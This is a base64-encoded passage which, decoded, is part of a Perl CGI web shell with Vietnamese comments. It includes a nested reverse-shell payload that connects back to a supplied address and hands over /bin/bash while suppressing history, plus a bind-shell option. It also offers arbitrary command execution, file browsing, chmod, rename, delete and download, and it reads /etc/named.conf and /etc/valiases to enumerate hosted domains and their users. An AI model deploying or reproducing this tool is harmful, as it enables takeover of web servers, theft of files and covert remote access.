OUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsNCg0KCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307DQoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOw0KCWlmKCRDbGllbnRQb3J0IGVxIDApDQoJew0KCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsNCgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOw0KCQlpZigtdyAiL3RtcC8iKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX1lbHNlDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7DQoJCWlmKC13ICIvdG1wIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI%2BJEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJc3lzdGVtKCJwZXJsIGJpbmRwb3J0LnBsICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojICBBcnJheSBMaXN0IERpcmVjdG9yeQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJtRGlyKCQpIA0Kew0KCW15ICRkaXIgPSBzaGlmdDsNCiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkNCgl7DQoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQl7DQoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpDQoJCQl7DQoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7DQoJCQkJaWYoLWQgJGZpbGUpDQoJCQkJew0KCQkJCQkmUm1EaXIoJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQl1bmxpbmsoJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQljbG9zZWRpcihESVIpOw0KCX0NCglpZighcm1kaXIoJGRpcikpDQoJew0KCQkNCgl9DQp9DQpzdWIgRmlsZU93bmVyKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZSAkZmlsZSkNCgl7DQoJCSgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOw0KCQlpZigkV2luTlQpDQoJCXsNCgkJCXJldHVybiAiPz8%2FIjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOw0KCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOw0KCQkJcmV0dXJuICRuYW1lLiIvIi4kZ3JvdXA7DQoJCX0NCgl9DQoJcmV0dXJuICI%2FPz8iOw0KfQ0Kc3ViIFBhcmVudEZvbGRlcigkKQ0Kew0KCW15ICRwYXRoID0gc2hpZnQ7DQoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOw0KCWNob3AoJHBhdGggPSBgJENvbW1gKTsNCglyZXR1cm4gJHBhdGg7DQp9DQpzdWIgRmlsZVBlcm1zKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglteSAkdXIgPSAiLSI7DQoJbXkgJHV3ID0gIi0iOw0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQlpZigtciAkZmlsZSl7ICR1ciA9ICJyIjsgfQ0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0NCgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsNCgkJfWVsc2UNCgkJew0KCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsNCgkJCSRyZXN1bHQgPSBzcHJpbnRmKCIlMDRvIiwgJG1vZGUgJiAwNzc3Nyk7DQoJCQlyZXR1cm4gJHJlc3VsdDsNCgkJfQ0KCX0NCglyZXR1cm4gIjAwMDAiOw0KfQ0Kc3ViIEZpbGVMYXN0TW9kaWZpZWQoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOw0KCQkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGEpKVszLDQsNSwyLDFdOw0KCQkkeSA9ICR5ICsgMTkwMDsNCgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOw0KCQkkbG10aW1lID0gc3ByaW50ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1dLCR5LCRoLCRpKTsNCgkJcmV0dXJuICRsbXRpbWU7DQoJfQ0KCXJldHVybiAiPz8%2FIjsNCn0NCnN1YiBGaWxlU2l6ZSgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWYgJGZpbGUpDQoJew0KCQlyZXR1cm4gLXMgJGZpbGU7DQoJfQ0KCXJldHVybiAiMCI7DQoNCn0NCnN1YiBQYXJzZUZpbGVTaXplKCQpDQp7DQoJbXkgJHNpemUgPSBzaGlmdDsNCglpZigkc2l6ZSA8PSAxMDI0KQ0KCXsNCgkJcmV0dXJuICRzaXplLiAiIEIiOw0KCX0NCgllbHNlDQoJew0KCQlpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIA0KCQl7DQoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOw0KCQkJcmV0dXJuICRzaXplLiIgS0IiOw0KCQl9DQoJCWVsc2UgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBNQiI7DQoJCX0NCgl9DQp9DQpzdWIgdHJpbSgkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nID1%2BIHMvXlxzKy8vOw0KCSRzdHJpbmcgPX4gcy9ccyskLy87DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgQWRkU2xhc2hlcygkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgTGlzdERpcg0Kew0KCW15ICRwYXRoID0gJEN1cnJlbnREaXIuJFBhdGhTZXA7DQoJJHBhdGg9fiBzL1xcXFwvXFwvZzsNCglteSAkcmVzdWx0ID0gIjxmb3JtIG5hbWU9J2YnIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZCcgc2l6ZT0nNDAnIHZhbHVlPSckQ3VycmVudERpcicgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nZ3VpJz48aW5wdXQgY2xhc3M9J3N1Ym1pdCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ2hhbmdlJz48L2Zvcm0%2BIjsNCglpZigtZCAkcGF0aCkNCgl7DQoJCW15IEBmbmFtZSA9ICgpOw0KCQlteSBAZG5hbWUgPSAoKTsNCgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQ0KCQl7DQoJCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkNCgkJCXsNCgkJCQkkZj0kcGF0aC4kZmlsZTsNCgkJCQlpZigtZCAkZikNCgkJCQl7DQoJCQkJCXB1c2goQGRuYW1lLCRmaWxlKTsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJcHVzaChAZm5hbWUsJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJCWNsb3NlZGlyKERJUik7DQoJCX0NCgkJQGZuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGZuYW1lOw0KCQlAZG5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZG5hbWU7DQoJCSRyZXN1bHQgLj0gIjxkaXY%2BPHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4NCg0KCQk8dHIgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6ICMzZTNlM2UnPjx0aD5GaWxlIE5hbWU8L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc%2BRmlsZSBTaXplPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoxNTBweDsnPk93bmVyPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoxMDBweDsnPlBlcm1pc3Npb248L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc%2BTGFzdCBNb2RpZmllZDwvdGg%2BDQoJCTx0aCBzdHlsZT0nd2lkdGg6MjYwcHg7Jz5BY3Rpb248L3RoPjwvdHI%2BIjsNCgkJbXkgJHN0eWxlPSJsaW5lIjsNCgkJbXkgJGk9MDsNCgkJZm9yZWFjaCBteSAkZCAoQGRuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA%2FICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGQgPSAmdHJpbSgkZCk7DQoJCQkkZGlybmFtZT0kZDsNCgkJCWlmKCRkIGVxICIuLiIpIA0KCQkJew0KCQkJCSRkID0gJlBhcmVudEZvbGRlcigkcGF0aCk7DQoJCQl9DQoJCQllbHNpZigkZCBlcSAiLiIpIA0KCQkJew0KCQkJCSRkID0gJHBhdGg7DQoJCQl9DQoJCQllbHNlIA0KCQkJew0KCQkJCSRkID0gJHBhdGguJGQ7DQoJCQl9DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc%2BDQoNCgkJCTx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4kZC4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ%2BIjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc%2BIi4mRmlsZU93bmVyKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc%2BIi4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ%2BIjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGRpcm5hbWUnLCciLiZBZGRTbGFzaGVzKCZBZGRTbGFzaGVzKCRkKSkuIicpXCI%2BUmVuYW1lPC9hPiAgfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBkaXI6ICRkaXJuYW1lID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSRwYXRoJnJlbW92ZT0kZGlybmFtZSc%2BUmVtb3ZlPC9hPjwvdGQ%2BIjsNCgkJCSRyZXN1bHQgLj0gIjwvdHI%2BIjsNCgkJCSRpKys7DQoJCX0NCgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA%2FICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGU9JGY7DQoJCQkkZiA9ICRwYXRoLiRmOw0KCQkJJHZpZXcgPSAiP2Rpcj0iLiRwYXRoLiImdmlldz0iLiRmOw0KCQkJJHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz4iLiRmaWxlLiI8L2E%2BPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ%2BIjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc%2BIi4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ%2BIjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSc%2FYT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic%2BRWRpdDwvYT4gfCA8YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJylcIj5SZW5hbWU8L2E%2BIHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic%2BRG93bmxvYWQ8L2E%2BIHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRmaWxlJz5SZW1vdmU8L2E%2BPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQkkcmVzdWx0IC49ICI8L3RhYmxlPjwvZGl2PiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXINCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3RG9tYWluVXNlcg0Kew0KCW9wZW4gKGRvbWFpbnMsICcvZXRjL25hbWVkLmNvbmYnKSBvciAkZXJyPTE7DQoJbXkgQGNuenMgPSA8ZG9tYWlucz47DQoJY2xvc2UgZDBtYWluczsNCglteSAkc3R5bGU9ImxpbmUiOw0KCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc%2BSG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ%2BPC9oNT4iOw0KCWlmICgkZXJyKQ0KCXsNCgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A%2BJyk7DQoJCXJldHVybiAkcmVzdWx0Ow0KCX1lbHNlDQoJew0KCQkkcmVzdWx0IC49ICc8dGFibGU%2BPHRyPjx0aD5Eb21haW5zPC90aD4gPHRoPlVzZXI8L3RoPjwvdHI%2BJzsNCgl9DQoJZm9yZWFjaCBteSAkb25lIChAY256cykNCgl7DQoJCWlmKCRvbmUgPX4gbS8uKj96b25lICIoLio%2FKSIgey8pDQoJCXsJDQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA%2FICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGVuYW1lPSAiL2V0Yy92YWxpYXNlcy8iLiRvbmU7DQoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7DQoJCQkkcmVzdWx0IC49ICc8dHIgY2xhc3M9IiRzdHlsZSIgd2lkdGg9NTAlPjx0ZD4nLiRvbmUuJyA8L3RkPjx0ZD4gJy4kb3duZXIuJzwvdGQ%2BPC90cj4nOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJzwvdGFibGU%2BJzsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVmlldyBMb2cNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3TG9nDQp7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJcmV0dXJuICI8aDI%2BPGZvbnQgc3R5bGU9J2ZvbnQ6IDIwcHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPkRvbid0IHJ1biBvbiBXaW5kb3dzPC9mb250PjwvaDI%2BIjsNCgl9DQoJbXkgJHJlc3VsdD0iPHRhYmxlPjx0cj48dGg%2BUGF0aCBMb2c8L3RoPjx0aD5TdWJtaXQ8L3RoPjwvdHI%2BIjsNCglteSBAcGF0aGxvZz0oDQoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywNCgkJCQknL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nJywNCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nJw0KCQkJCSk7DQoJbXkgJGk9MDsNCglteSAkcGVybXM7DQoJbXkgJHNsOw0KCWZvcmVhY2ggbXkgJGxvZyAoQHBhdGhsb2cpDQoJew0KCQlpZigtdyAkbG9nKQ0KCQl7DQoJCQkkcGVybXM9Ik9LIjsNCgkJfWVsc2UNCgkJew0KCQkJY2hvcCgkc2wgPSBgbG4gLXMgJGxvZyBlcnJvcl9sb2dfJGlgKTsNCgkJCWlmKCZ0cmltKCRscykgZXEgIiIpDQoJCQl7DQoJCQkJaWYoLXIgJGxzKQ0KCQkJCXsNCgkJCQkJJHBlcm1zPSJPSyI7DQoJCQkJCSRsb2c9ImVycm9yX2xvZ18iLiRpOw0KCQkJCX0NCgkJCX1lbHNlDQoJCQl7DQoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7DQoJCQl9DQoJCX0NCgkJJHJlc3VsdCAuPTw8RU5EOw0KCQk8dHI%2BDQoNCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KCQkJPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbG9nXyRpJykudmFsdWU9J2xlc3MgJyArIHRoaXMudmFsdWU7IiB2YWx1ZT0iJGxvZyIgc2l6ZT0nNTAnLz48L3RkPg0KCQkJPHRkPjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJUcnkiIC8%2BPC90ZD4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIiAvPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIiAvPg0KCQkJPC9mb3JtPg0KCQkJPHRkPiRwZXJtczwvdGQ%2BDQoNCgkJPC90cj4NCkVORA0KCQkkaSsrOw0KCX0NCgkkcmVzdWx0IC49IjwvdGFibGU%2BIjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQomUmVhZFBhcnNlOw0KJkdldENvb2tpZXM7DQoNCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307DQokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307DQokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9Ow0KJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGlueydvJ307DQokQWN0aW9uID0gJGlueydhJ307DQoNCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7DQojIG1hYyBkaW5oIHh1YXQgdGhvbmcgdGluIG5ldSBrbyBjbyBsZW5oIG5hbyENCiRSdW5Db21tYW5kPSAkV2luTlQ%2FImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7DQpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pIAkJIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZ3VpIikgIyBHVUkgZGlyZWN0b3J5DQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZighJFdpbk5UKQ0KCXsNCgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQlpZighKCRjaG1vZCBlcSAwKSkNCgkJew0KCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQkJJGZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgkJCWNob3AoJHJlc3VsdD0gYGNobW9kICRjaG1vZCAiJGZpbGUiYCk7DQoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4%2BPGJyPiI7DQoJCQl9ZWxzZQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4%2BPGJyPiI7DQoJCQl9DQoJCX0NCgl9DQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9Ow0KCWlmKCEkcmVuYW1lIGVxICIiKQ0KCXsNCgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpDQoJCXsNCgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI%2BIjsNCgkJfWVsc2UNCgkJew0KCQkJcHJpbnQgIjxydW4%2BIFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI%2BIjsNCgkJfQ0KCX0NCgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307DQoJaWYoJHJlbW92ZSBuZSAiIikNCgl7DQoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7DQoJCWlmKC1kICRybSkNCgkJew0KCQkJJlJtRGlyKCRybSk7DQoJCX1lbHNlDQoJCXsNCgk